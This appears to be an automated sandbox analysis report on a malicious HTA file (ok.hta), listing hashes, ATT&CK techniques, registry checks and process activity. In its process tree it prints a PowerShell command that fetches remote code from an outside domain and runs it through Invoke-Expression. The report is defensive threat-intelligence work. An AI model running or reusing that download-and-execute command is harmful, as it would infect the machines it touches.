97100a8da2146d6a9d4746a850a84d79a3c941cefacb0357f346ed44c653adad

Resubmissions

01-06-2024 21:09

240601-zzxvbafa7v 7

Analysis

max time kernel
135s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
04-06-2024 23:46

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General

Target

02-downloaded-HTA-file/ok.hta
Size

2KB
MD5

a77becccca5571c00ebc9e516fd96ce8
SHA1

d8fb7d7985860e813d33927aa95f7ac54ff400b6
SHA256

5c204217d48f2565990dfdf2269c26113bd14c204484d8f466fb873312da80cf
SHA512

03d14473a27a83d56d80a489413fc3e1f543a4478f5e77ec120142cd1f4ebbe76d7d1c2d0edcdb214ec3c28cfb2bd7ce157d80abf4c727cbda729bfde8627149

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation mshta.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

880 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

880 powershell.exe
880 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 880 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
880	powershell.exe

pid	process
880	powershell.exe
880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	880	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 2172 wrote to memory of 880	2172	mshta.exe	powershell.exe
PID 2172 wrote to memory of 880	2172	mshta.exe	powershell.exe
PID 2172 wrote to memory of 880	2172	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\02-downloaded-HTA-file\ok.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'flexiblemaria.com/umkglnks')
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:880

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3744,i,3724086843943218842,1026644135694712596,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:8
1⤵
PID:3720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pcbc02q.b1s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/880-6-0x0000000005B80000-0x0000000005BE6000-memory.dmp

Filesize
408KB

Download
memory/880-1-0x0000000002C90000-0x0000000002CC6000-memory.dmp

Filesize
216KB

Download
memory/880-2-0x0000000074500000-0x0000000074CB0000-memory.dmp

Filesize
7.7MB

Download
memory/880-4-0x0000000074500000-0x0000000074CB0000-memory.dmp

Filesize
7.7MB

Download
memory/880-5-0x0000000005A00000-0x0000000005A22000-memory.dmp

Filesize
136KB

Download
memory/880-0-0x000000007450E000-0x000000007450F000-memory.dmp

Filesize
4KB

Download
memory/880-7-0x0000000005BF0000-0x0000000005C56000-memory.dmp

Filesize
408KB

Download
memory/880-3-0x00000000053D0000-0x00000000059F8000-memory.dmp

Filesize
6.2MB

Download
memory/880-17-0x0000000005DE0000-0x0000000006134000-memory.dmp

Filesize
3.3MB

Download
memory/880-19-0x0000000006290000-0x00000000062DC000-memory.dmp

Filesize
304KB

Download
memory/880-18-0x0000000006250000-0x000000000626E000-memory.dmp

Filesize
120KB

Download
memory/880-20-0x00000000078D0000-0x0000000007F4A000-memory.dmp

Filesize
6.5MB

Download
memory/880-21-0x0000000006790000-0x00000000067AA000-memory.dmp

Filesize
104KB

Download
memory/880-24-0x0000000074500000-0x0000000074CB0000-memory.dmp

Filesize
7.7MB

Download